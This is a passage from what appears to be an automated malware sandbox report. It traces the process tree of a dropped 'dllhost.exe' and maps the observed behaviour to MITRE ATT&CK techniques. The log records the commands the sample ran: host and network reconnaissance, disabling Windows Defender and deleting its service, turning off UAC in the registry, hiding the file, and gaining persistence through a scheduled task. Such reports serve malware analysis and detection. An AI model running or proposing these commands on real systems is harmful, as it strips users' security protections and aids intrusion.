        6⤵
        
        PID:2628
    - - C:\Windows\system32\net.exe
        
        net user administrator
        5⤵
        
        PID:1032
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        6⤵
        
        PID:3900
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        5⤵
        
        PID:4676
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        5⤵
        Enumerates processes with tasklist
        
        PID:1864
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        5⤵
        Gathers network information
        
        PID:2112
    - - C:\Windows\system32\ROUTE.EXE
        
        route print
        5⤵
        
        PID:2736
    - - C:\Windows\system32\ARP.EXE
        
        arp -a
        5⤵
        Network Service Discovery
        
        PID:2252
    - - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        5⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:5112
    - - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        5⤵
        Launches sc.exe
        
        PID:464
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1880
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:928
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:3568
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4132
- C:\Users\Admin\AppData\Local\Temp\Payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- - C:\ProgramData\dllhost.exe
    "C:\ProgramData\dllhost.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    PID:3916
  - - C:\Windows\SYSTEM32\attrib.exe
      attrib +h "C:\ProgramData\dllhost.exe"
      4⤵
      Views/modifies file attributes
      PID:2292
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:4888
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5020
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc query windefend
      4⤵
      PID:2604
    - - C:\Windows\system32\sc.exe
        
        sc query windefend
        5⤵
        Launches sc.exe
        
        PID:4116
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop windefend
      4⤵
      PID:4136
    - - C:\Windows\system32\sc.exe
        
        sc stop windefend
        5⤵
        Launches sc.exe
        
        PID:2040
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc delete windefend
      4⤵
      PID:4052
    - - C:\Windows\system32\sc.exe
        
        sc delete windefend
        5⤵
        Launches sc.exe
        
        PID:2352
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn CleanSweepCheck /f
      4⤵
      PID:1636
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn CleanSweepCheck /tr C:\ProgramData\dllhost.exe
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4804
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:4832
    - - C:\Windows\system32\reg.exe
        
        reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        Modifies registry key
        
        PID:1596
  - - C:\Users\Admin\AppData\Local\Temp\621f140e1399434bae08220e59c4c85e.exe
      "C:\Users\Admin\AppData\Local\Temp\621f140e1399434bae08220e59c4c85e.exe"
      4⤵
      Executes dropped EXE
      PID:1136
  - - C:\Users\Admin\AppData\Local\Temp\ee6e661140f94a8eab58f8a8993647f5.exe
      "C:\Users\Admin\AppData\Local\Temp\ee6e661140f94a8eab58f8a8993647f5.exe"
      4⤵
      Executes dropped EXE
      PID:3952

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
PID:4364

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
PID:452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery